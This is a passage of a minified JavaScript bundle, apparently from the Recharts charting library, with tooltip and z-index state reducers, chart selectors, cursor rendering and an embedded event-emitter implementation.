n.some(r=>r.reversed)?"bottom-to-top":"top-to-bottom";case"centric":case"radial":return"left-to-right";default:return}}),j3=e=>e.options.defaultTooltipEventType,N3=e=>e.options.validateTooltipEventTypes;function k3(e,t,n){if(e==null)return t;var r=e?"axis":"item";return n==null?t:n.includes(r)?r:t}function rv(e,t){var n=j3(e),r=N3(e);return k3(t,n,r)}function SD(e){return je(t=>rv(t,e))}var z3=(e,t)=>{var n,r=Number(t);if(!(mr(r)||t==null))return r>=0?e==null||(n=e[r])===null||n===void 0?void 0:n.value:void 0},CD=e=>e.tooltip.settings,si={active:!1,index:null,dataKey:void 0,graphicalItemId:void 0,coordinate:void 0},PD={itemInteraction:{click:si,hover:si},axisInteraction:{click:si,hover:si},keyboardInteraction:si,syncInteraction:{active:!1,index:null,dataKey:void 0,label:void 0,coordinate:void 0,sourceViewBox:void 0,graphicalItemId:void 0},tooltipItemPayloads:[],settings:{shared:void 0,trigger:"hover",axisId:0,active:!1,defaultIndex:void 0}},S3=nn({name:"tooltip",initialState:PD,reducers:{addTooltipEntrySettings:{reducer(e,t){e.tooltipItemPayloads.push(t.payload)},prepare:He()},replaceTooltipEntrySettings:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Yn(e).tooltipItemPayloads.indexOf(n);i>-1&&(e.tooltipItemPayloads[i]=r)},prepare:He()},removeTooltipEntrySettings:{reducer(e,t){var n=Yn(e).tooltipItemPayloads.indexOf(t.payload);n>-1&&e.tooltipItemPayloads.splice(n,1)},prepare:He()},setTooltipSettingsState(e,t){e.settings=t.payload},setActiveMouseOverItemIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.itemInteraction.hover.active=!0,e.itemInteraction.hover.index=t.payload.activeIndex,e.itemInteraction.hover.dataKey=t.payload.activeDataKey,e.itemInteraction.hover.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.hover.coordinate=t.payload.activeCoordinate},mouseLeaveChart(e){e.itemInteraction.hover.active=!1,e.axisInteraction.hover.active=!1},mouseLeaveItem(e){e.itemInteraction.hover.active=!1},setActiveClickItemIndex(e,t){e.syncInteraction.active=!1,e.itemInteraction.click.active=!0,e.keyboardInteraction.active=!1,e.itemInteraction.click.index=t.payload.activeIndex,e.itemInteraction.click.dataKey=t.payload.activeDataKey,e.itemInteraction.click.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.click.coordinate=t.payload.activeCoordinate},setMouseOverAxisIndex(e,t){e.syncInteraction.active=!1,e.axisInteraction.hover.active=!0,e.keyboardInteraction.active=!1,e.axisInteraction.hover.index=t.payload.activeIndex,e.axisInteraction.hover.dataKey=t.payload.activeDataKey,e.axisInteraction.hover.coordinate=t.payload.activeCoordinate},setMouseClickAxisIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.axisInteraction.click.active=!0,e.axisInteraction.click.index=t.payload.activeIndex,e.axisInteraction.click.dataKey=t.payload.activeDataKey,e.axisInteraction.click.coordinate=t.payload.activeCoordinate},setSyncInteraction(e,t){e.syncInteraction=t.payload},setKeyboardInteraction(e,t){e.keyboardInteraction.active=t.payload.active,e.keyboardInteraction.index=t.payload.activeIndex,e.keyboardInteraction.coordinate=t.payload.activeCoordinate}}}),{addTooltipEntrySettings:ED,replaceTooltipEntrySettings:_D,removeTooltipEntrySettings:AD,setTooltipSettingsState:OD,setActiveMouseOverItemIndex:C3,mouseLeaveItem:TD,mouseLeaveChart:P3,setActiveClickItemIndex:MD,setMouseOverAxisIndex:E3,setMouseClickAxisIndex:LD,setSyncInteraction:yh,setKeyboardInteraction:bh}=S3.actions,ID=S3.reducer;function C2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ec(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?C2(Object(n),!0).forEach(function(r){DD(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):C2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function DD(e,t,n){return(t=RD(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function RD(e){var t=$D(e,"string");return typeof t=="symbol"?t:t+""}function $D(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function BD(e,t,n){return t==="axis"?n==="click"?e.axisInteraction.click:e.axisInteraction.hover:n==="click"?e.itemInteraction.click:e.itemInteraction.hover}function FD(e){return e.index!=null}var _3=(e,t,n,r)=>{if(t==null)return si;var i=BD(e,t,n);if(i==null)return si;if(i.active)return i;if(e.keyboardInteraction.active)return e.keyboardInteraction;if(e.syncInteraction.active&&e.syncInteraction.index!=null)return e.syncInteraction;var s=e.settings.active===!0;if(FD(i)){if(s)return ec(ec({},i),{},{active:!0})}else if(r!=null)return{active:!0,coordinate:void 0,dataKey:void 0,index:r,graphicalItemId:void 0};return ec(ec({},si),{},{coordinate:i.coordinate})};function WD(e){if(typeof e=="number")return Number.isFinite(e)?e:void 0;if(e instanceof Date){var t=e.valueOf();return Number.isFinite(t)?t:void 0}var n=Number(e);return Number.isFinite(n)?n:void 0}function UD(e,t){var n=WD(e),r=t[0],i=t[1];if(n===void 0)return!1;var s=Math.min(r,i),o=Math.max(r,i);return n>=s&&n<=o}function VD(e,t,n){if(n==null||t==null)return!0;var r=Ve(e,t);return r==null||!Br(n)?!0:UD(r,n)}var iv=(e,t,n,r)=>{var i=e==null?void 0:e.index;if(i==null)return null;var s=Number(i);if(!Ee(s))return i;var o=0,l=1/0;t.length>0&&(l=t.length-1);var c=Math.max(o,Math.min(s,l)),u=t[c];return u==null||VD(u,n,r)?String(c):null},A3=(e,t,n,r,i,s,o)=>{if(s!=null){var l=o[0],c=l==null?void 0:l.getPosition(s);if(c!=null)return c;var u=i==null?void 0:i[Number(s)];if(u)switch(n){case"horizontal":return{x:u.coordinate,y:(r.top+t)/2};default:return{x:(r.left+e)/2,y:u.coordinate}}}},O3=(e,t,n,r)=>{if(t==="axis")return e.tooltipItemPayloads;if(e.tooltipItemPayloads.length===0)return[];var i;if(n==="hover"?i=e.itemInteraction.hover.graphicalItemId:i=e.itemInteraction.click.graphicalItemId,i==null&&r!=null){var s=e.tooltipItemPayloads[0];return s!=null?[s]:[]}return e.tooltipItemPayloads.filter(o=>{var l;return((l=o.settings)===null||l===void 0?void 0:l.graphicalItemId)===i})},T3=e=>e.options.tooltipPayloadSearcher,Ps=e=>e.tooltip;function P2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function E2(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?P2(Object(n),!0).forEach(function(r){HD(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):P2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function HD(e,t,n){return(t=KD(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function KD(e){var t=GD(e,"string");return typeof t=="symbol"?t:t+""}function GD(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function YD(e,t){return e??t}var M3=(e,t,n,r,i,s,o)=>{if(!(t==null||s==null)){var{chartData:l,computedData:c,dataStartIndex:u,dataEndIndex:d}=n,f=[];return e.reduce((p,h)=>{var x,{dataDefinedOnItem:g,settings:y}=h,v=YD(g,l),b=Array.isArray(v)?hk(v,u,d):v,w=(x=y==null?void 0:y.dataKey)!==null&&x!==void 0?x:r,j=y==null?void 0:y.nameKey,N;if(r&&Array.isArray(b)&&!Array.isArray(b[0])&&o==="axis"?N=oN(b,r,i):N=s(b,t,c,j),Array.isArray(N))N.forEach(z=>{var S=E2(E2({},y),{},{name:z.name,unit:z.unit,color:void 0,fill:void 0});p.push(Dy({tooltipEntrySettings:S,dataKey:z.dataKey,payload:z.payload,value:Ve(z.payload,z.dataKey),name:z.name}))});else{var k;p.push(Dy({tooltipEntrySettings:y,dataKey:w,payload:N,value:Ve(N,w),name:(k=Ve(N,j))!==null&&k!==void 0?k:y==null?void 0:y.name}))}return p},f)}},av=I([yt,J4,E0],m3),qD=I([e=>e.graphicalItems.cartesianItems,e=>e.graphicalItems.polarItems],(e,t)=>[...e,...t]),XD=I([St,zs],R0),Es=I([qD,yt,XD],$0,{memoizeOptions:{resultEqualityCheck:of}}),ZD=I([Es],e=>e.filter(I0)),QD=I([Es],B0,{memoizeOptions:{resultEqualityCheck:of}}),_s=I([QD,Yr],F0),JD=I([ZD,Yr,yt],q4),sv=I([_s,yt,Es],U0),L3=I([yt],V0),eR=I([yt],e=>e.allowDataOverflow),I3=I([L3,eR],_4),tR=I([Es],e=>e.filter(I0)),nR=I([JD,tR,xl,F4],i3),rR=I([nR,Yr,St,I3],s3),iR=I([Es],n3),aR=I([_s,yt,iR,cf,St],G0,{memoizeOptions:{resultEqualityCheck:sf}}),sR=I([o3,St,zs],Cs),oR=I([sR,St],u3),lR=I([l3,St,zs],Cs),cR=I([lR,St],d3),uR=I([c3,St,zs],Cs),dR=I([uR,St],f3),fR=I([oR,dR,cR],Ru),mR=I([yt,L3,I3,rR,aR,fR,De,St],Y0),wl=I([yt,De,_s,sv,xl,St,mR],q0),pR=I([wl,yt,av],Q0),hR=I([yt,wl,pR,St],ev),D3=e=>{var t=St(e),n=zs(e),r=!1;return bl(e,t,n,r)},R3=I([yt,D3],rf),$3=I([yt,av,hR,R3],Z0),xR=I([De,sv,yt,St],g3),vR=I([De,sv,yt,St],y3),gR=(e,t,n,r,i,s,o,l)=>{if(t){var{type:c}=t,u=vr(e,l);if(r){var d=n==="scaleBand"&&r.bandwidth?r.bandwidth()/2:2,f=c==="category"&&r.bandwidth?r.bandwidth()/d:0;return f=l==="angleAxis"&&i!=null&&(i==null?void 0:i.length)>=2?qt(i[0]-i[1])*2*f:f,u&&o?o.map((p,h)=>{var x=r.map(p);return Ee(x)?{coordinate:x+f,value:p,index:h,offset:f}:null}).filter(or):r.domain().map((p,h)=>{var x=r.map(p);return Ee(x)?{coordinate:x+f,value:s?s[p]:p,index:h,offset:f}:null}).filter(or)}}},Zr=I([De,yt,av,$3,D3,xR,vR,St],gR),ov=I([j3,N3,CD],(e,t,n)=>k3(n.shared,e,t)),B3=e=>e.tooltip.settings.trigger,lv=e=>e.tooltip.settings.defaultIndex,jl=I([Ps,ov,B3,lv],_3),ps=I([jl,_s,yl,wl],iv),F3=I([Zr,ps],z3),W3=I([jl],e=>{if(e)return e.dataKey}),yR=I([jl],e=>{if(e)return e.graphicalItemId}),U3=I([Ps,ov,B3,lv],O3),bR=I([Hr,Kr,De,kt,Zr,lv,U3],A3),wR=I([jl,bR],(e,t)=>e!=null&&e.coordinate?e.coordinate:t),jR=I([jl],e=>{var t;return(t=e==null?void 0:e.active)!==null&&t!==void 0?t:!1}),NR=I([U3,ps,Yr,yl,F3,T3,ov],M3),kR=I([NR],e=>{if(e!=null){var t=e.map(n=>n.payload).filter(n=>n!=null);return Array.from(new Set(t))}});function _2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function A2(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?_2(Object(n),!0).forEach(function(r){zR(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):_2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function zR(e,t,n){return(t=SR(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function SR(e){var t=CR(e,"string");return typeof t=="symbol"?t:t+""}function CR(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var PR=()=>je(yt),ER=()=>{var e=PR(),t=je(Zr),n=je($3);return xu(!e||!n?void 0:A2(A2({},e),{},{scale:n}),t)};function O2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function za(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?O2(Object(n),!0).forEach(function(r){_R(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):O2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function _R(e,t,n){return(t=AR(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function AR(e){var t=OR(e,"string");return typeof t=="symbol"?t:t+""}function OR(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var TR=(e,t,n,r)=>{var i=t.find(s=>s&&s.index===n);if(i){if(e==="horizontal")return{x:i.coordinate,y:r.chartY};if(e==="vertical")return{x:r.chartX,y:i.coordinate}}return{x:0,y:0}},MR=(e,t,n,r)=>{var i=t.find(u=>u&&u.index===n);if(i){if(e==="centric"){var s=i.coordinate,{radius:o}=r;return za(za(za({},r),dt(r.cx,r.cy,o,s)),{},{angle:s,radius:o})}var l=i.coordinate,{angle:c}=r;return za(za(za({},r),dt(r.cx,r.cy,l,c)),{},{angle:c,radius:l})}return{angle:0,clockWise:!1,cx:0,cy:0,endAngle:0,innerRadius:0,outerRadius:0,radius:0,startAngle:0,x:0,y:0}};function LR(e,t){var{chartX:n,chartY:r}=e;return n>=t.left&&n<=t.left+t.width&&r>=t.top&&r<=t.top+t.height}var V3=(e,t,n,r,i)=>{var s,o=(s=t==null?void 0:t.length)!==null&&s!==void 0?s:0;if(o<=1||e==null)return 0;if(r==="angleAxis"&&i!=null&&Math.abs(Math.abs(i[1]-i[0])-360)<=1e-6)for(var l=0;l<o;l++){var c,u,d,f,p,h=l>0?(c=n[l-1])===null||c===void 0?void 0:c.coordinate:(u=n[o-1])===null||u===void 0?void 0:u.coordinate,x=(d=n[l])===null||d===void 0?void 0:d.coordinate,g=l>=o-1?(f=n[0])===null||f===void 0?void 0:f.coordinate:(p=n[l+1])===null||p===void 0?void 0:p.coordinate,y=void 0;if(!(h==null||x==null||g==null))if(qt(x-h)!==qt(g-x)){var v=[];if(qt(g-x)===qt(i[1]-i[0])){y=g;var b=x+i[1]-i[0];v[0]=Math.min(b,(b+h)/2),v[1]=Math.max(b,(b+h)/2)}else{y=h;var w=g+i[1]-i[0];v[0]=Math.min(x,(w+x)/2),v[1]=Math.max(x,(w+x)/2)}var j=[Math.min(x,(y+x)/2),Math.max(x,(y+x)/2)];if(e>j[0]&&e<=j[1]||e>=v[0]&&e<=v[1]){var N;return(N=n[l])===null||N===void 0?void 0:N.index}}else{var k=Math.min(h,g),z=Math.max(h,g);if(e>(k+x)/2&&e<=(z+x)/2){var S;return(S=n[l])===null||S===void 0?void 0:S.index}}}else if(t)for(var O=0;O<o;O++){var A=t[O];if(A!=null){var T=t[O+1],P=t[O-1];if(O===0&&T!=null&&e<=(A.coordinate+T.coordinate)/2||O===o-1&&P!=null&&e>(A.coordinate+P.coordinate)/2||O>0&&O<o-1&&P!=null&&T!=null&&e>(A.coordinate+P.coordinate)/2&&e<=(A.coordinate+T.coordinate)/2)return A.index}}return-1},H3=()=>je(E0),cv=(e,t)=>t,K3=(e,t,n)=>n,uv=(e,t,n,r)=>r,IR=I(Zr,e=>Pd(e,t=>t.coordinate)),dv=I([Ps,cv,K3,uv],_3),fv=I([dv,_s,yl,wl],iv),DR=(e,t,n)=>{if(t!=null){var r=Ps(e);return t==="axis"?n==="hover"?r.axisInteraction.hover.dataKey:r.axisInteraction.click.dataKey:n==="hover"?r.itemInteraction.hover.dataKey:r.itemInteraction.click.dataKey}},G3=I([Ps,cv,K3,uv],O3),$u=I([Hr,Kr,De,kt,Zr,uv,G3],A3),RR=I([dv,$u],(e,t)=>{var n;return(n=e.coordinate)!==null&&n!==void 0?n:t}),Y3=I([Zr,fv],z3),$R=I([G3,fv,Yr,yl,Y3,T3,cv],M3),BR=I([dv,fv],(e,t)=>({isActive:e.active&&t!=null,activeIndex:t})),FR=(e,t,n,r,i,s,o)=>{if(!(!e||!n||!r||!i)&&LR(e,o)){var l=PT(e,t),c=V3(l,s,i,n,r),u=TR(t,i,c,e);return{activeIndex:String(c),activeCoordinate:u}}},WR=(e,t,n,r,i,s,o)=>{if(!(!e||!r||!i||!s||!n)){var l=_8(e,n);if(l){var c=ET(l,t),u=V3(c,o,s,r,i),d=MR(t,s,u,l);return{activeIndex:String(u),activeCoordinate:d}}}},UR=(e,t,n,r,i,s,o,l)=>{if(!(!e||!t||!r||!i||!s))return t==="horizontal"||t==="vertical"?FR(e,t,r,i,s,o,l):WR(e,t,n,r,i,s,o)},VR=I(e=>e.zIndex.zIndexMap,(e,t)=>t,(e,t,n)=>n,(e,t,n)=>{if(t!=null){var r=e[t];if(r!=null)return n?r.panoramaElement:r.element}}),HR=I(e=>e.zIndex.zIndexMap,e=>{var t=Object.keys(e).map(r=>parseInt(r,10)).concat(Object.values(Zt)),n=Array.from(new Set(t));return n.sort((r,i)=>r-i)},{memoizeOptions:{resultEqualityCheck:SI}});function T2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function M2(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?T2(Object(n),!0).forEach(function(r){KR(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):T2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function KR(e,t,n){return(t=GR(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function GR(e){var t=YR(e,"string");return typeof t=="symbol"?t:t+""}function YR(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var qR={},XR={zIndexMap:Object.values(Zt).reduce((e,t)=>M2(M2({},e),{},{[t]:{element:void 0,panoramaElement:void 0,consumers:0}}),qR)},ZR=new Set(Object.values(Zt));function QR(e){return ZR.has(e)}var q3=nn({name:"zIndex",initialState:XR,reducers:{registerZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]?e.zIndexMap[n].consumers+=1:e.zIndexMap[n]={consumers:1,element:void 0,panoramaElement:void 0}},prepare:He()},unregisterZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(e.zIndexMap[n].consumers-=1,e.zIndexMap[n].consumers<=0&&!QR(n)&&delete e.zIndexMap[n])},prepare:He()},registerZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n,element:r,isPanorama:i}=t.payload;e.zIndexMap[n]?i?e.zIndexMap[n].panoramaElement=r:e.zIndexMap[n].element=r:e.zIndexMap[n]={consumers:0,element:i?void 0:r,panoramaElement:i?r:void 0}},prepare:He()},unregisterZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(t.payload.isPanorama?e.zIndexMap[n].panoramaElement=void 0:e.zIndexMap[n].element=void 0)},prepare:He()}}}),{registerZIndexPortal:JR,unregisterZIndexPortal:e9,registerZIndexPortalElement:t9,unregisterZIndexPortalElement:n9}=q3.actions,r9=q3.reducer;function Mi(e){var{zIndex:t,children:n}=e,r=aM(),i=r&&t!==void 0&&t!==0,s=Jn(),o=ot();m.useLayoutEffect(()=>i?(o(JR({zIndex:t})),()=>{o(e9({zIndex:t}))}):bs,[o,t,i]);var l=je(c=>VR(c,t,s));return i?l?Nx.createPortal(n,l):null:n}function wh(){return wh=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},wh.apply(null,arguments)}function L2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function tc(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?L2(Object(n),!0).forEach(function(r){i9(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):L2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function i9(e,t,n){return(t=a9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function a9(e){var t=s9(e,"string");return typeof t=="symbol"?t:t+""}function s9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function o9(e){var{cursor:t,cursorComp:n,cursorProps:r}=e;return m.isValidElement(t)?m.cloneElement(t,r):m.createElement(n,r)}function l9(e){var t,{coordinate:n,payload:r,index:i,offset:s,tooltipAxisBandSize:o,layout:l,cursor:c,tooltipEventType:u,chartName:d}=e,f=n,p=r,h=i;if(!c||!f||d!=="ScatterChart"&&u!=="axis")return null;var x,g,y;if(d==="ScatterChart")x=f,g=VM,y=Zt.cursorLine;else if(d==="BarChart")x=HM(l,f,s,o),g=Fk,y=Zt.cursorRectangle;else if(l==="radial"&&uN(f)){var{cx:v,cy:b,radius:w,startAngle:j,endAngle:N}=Uk(f);x={cx:v,cy:b,startAngle:j,endAngle:N,innerRadius:w,outerRadius:w},g=Hk,y=Zt.cursorLine}else x={points:M8(l,f,s)},g=Qa,y=Zt.cursorLine;var k=typeof c=="object"&&"className"in c?c.className:void 0,z=tc(tc(tc(tc({stroke:"#ccc",pointerEvents:"none"},s),x),Do(c)),{},{payload:p,payloadIndex:h,className:Qe("recharts-tooltip-cursor",k)});return m.createElement(Mi,{zIndex:(t=e.zIndex)!==null&&t!==void 0?t:y},m.createElement(o9,{cursor:c,cursorComp:g,cursorProps:z}))}function c9(e){var t=ER(),n=tM(),r=ws(),i=H3();return t==null||n==null||r==null||i==null?null:m.createElement(l9,wh({},e,{offset:n,layout:r,tooltipAxisBandSize:t,chartName:i}))}var X3=m.createContext(null),u9=()=>m.useContext(X3),Z3={exports:{}};(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function i(c,u,d){this.fn=c,this.context=u,this.once=d||!1}function s(c,u,d,f,p){if(typeof d!="function")throw new TypeError("The listener must be a function");var h=new i(d,f||c,p),x=n?n+u:u;return c._events[x]?c._events[x].fn?c._events[x]=[c._events[x],h]:c._events[x].push(h):(c._events[x]=h,c._eventsCount++),c}function o(c,u){--c._eventsCount===0?c._events=new r:delete c._events[u]}function l(){this._events=new r,this._eventsCount=0}l.prototype.eventNames=function(){var u=[],d,f;if(this._eventsCount===0)return u;for(f in d=this._events)t.call(d,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(d)):u},l.prototype.listeners=function(u){var d=n?n+u:u,f=this._events[d];if(!f)return[];if(f.fn)return[f.fn];for(var p=0,h=f.length,x=new Array(h);p<h;p++)x[p]=f[p].fn;return x},l.prototype.listenerCount=function(u){var d=n?n+u:u,f=this._events[d];return f?f.fn?1:f.length:0},l.prototype.emit=function(u,d,f,p,h,x){var g=n?n+u:u;if(!this._events[g])return!1;var y=this._events[g],v=arguments.length,b,w;if(y.fn){switch(y.once&&this.removeListener(u,y.fn,void 0,!0),v){case 1:return y.fn.call(y.context),!0;case 2:return y.fn.call(y.context,d),!0;case 3:return y.fn.call(y.context,d,f),!0;case 4:return y.fn.call(y.context,d,f,p),!0;case 5:return y.fn.call(y.context,d,f,p,h),!0;case 6:return y.fn.call(y.context,d,f,p,h,x),!0}for(w=1,b=new Array(v-1);w<v;w++)b[w-1]=arguments[w];y.fn.apply(y.context,b)}else{var j=y.length,N;for(w=0;w<j;w++)switch(y[w].once&&this.removeListener(u,y[w].fn,void 0,!0),v){case 1:y[w].fn.call(y[w].context);break;case 2:y[w].fn.call(y[w].context,d);break;case 3:y[w].fn.call(y[w].context,d,f);break;case 4:y[w].fn.call(y[w].context,d,f,p);break;default:if(!b)for(N=1,b=new Array(v-1);N<v;N++)b[N-1]=arguments[N];y[w].fn.apply(y[w].context,b)}}return!0},l.prototype.on=function(u,d,f){return s(this,u,d,f,!1)},l.prototype.once=function(u,d,f){return s(this,u,d,f,!0)},l.prototype.removeListener=function(u,d,f,p){var h=n?n+u:u;if(!this._events[h])return this;if(!d)return o(this,h),this;var x=this._events[h];if(x.fn)x.fn===d&&(!p||x.once)&&(!f||x.context===f)&&o(this,h);else{for(var g=0,y=[],v=x.length;g<v;g++)(x[g].fn!==d||p&&!x[g].once||f&&x[g].context!==f)&&y.push(x[g]);y.length?this._events[h]=y.length===1?y[0]:y:o(this,h)}return this},l.prototype.removeAllListeners=function(u){var d;return u?(d=n?n+u:u,this._events[d]&&o(this,d)):(this._events=new r,this._eventsCount=0),this},l.prototype.off=l.prototype.removeListener,l.prototype.addListener=l.prototype.on,l.prefixed=n,l.EventEmitter=l,e.exports=l})(Z3);var d9=Z3.exports;const f9=Wr(d9);var Qo=new f9,jh="recharts.syncEvent.tooltip",I2="recharts.syncEvent.brush",Q3=(e,t)=>{if(t&&Array.isArray(e)){var n=Number.parseInt(t,10);if(!mr(n))return e[n]}},m9={chartName:"",tooltipPayloadSearcher:()=>{},eventEmitter:void 0,defaultTooltipEventType:"axis"},J3=nn({name:"options",initialState:m9,reducers:{createEventEmitter:e=>{e.eventEmitter==null&&(e.eventEmitter=Symbol("rechartsEventEmitter"))}}}),p9=J3.reducer,{createEventEmitter:h9}=J3.actions;function x9(e){return e.tooltip.syncInteraction}var v9={chartData:void 0,computedData:void 0,dataStartIndex:0,dataEndIndex:0},ez=nn({name:"chartData",initialState:v9,reducers:{setChartData(e,t){if(e.chartData=t.payload,t.payload==null){e.dataStartIndex=0,e.dataEndIndex=0;return}t.payload.length>0&&e.dataEndIndex!==t.payload.length-1&&(e.dataEndIndex=t.payload.length-1)},setComputedData(e,t){e.computedData=t.payload},setDataStartEndIndexes(e,t){var{startIndex:n,endIndex:r}=t.payload;n!=null&&(e.dataStartIndex=n),r!=null&&(e.dataEndIndex=r)}}}),{setChartData:D2,setDataStartEndIndexes:g9,setComputedData:iH}=ez.actions,y9=ez.reducer,b9=["x","y"];function R2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Sa(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?R2(Object(n),!0).forEach(function(r){w9(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):R2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function w9(e,t,n){return(t=j9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function j9(e){var t=N9(e,"string");return typeof t=="symbol"?t:t+""}function N9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function k9(e,t){if(e==null)return{};var n,r,i=z9(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r<s.length;r++)n=s[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function z9(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}function S9(){var 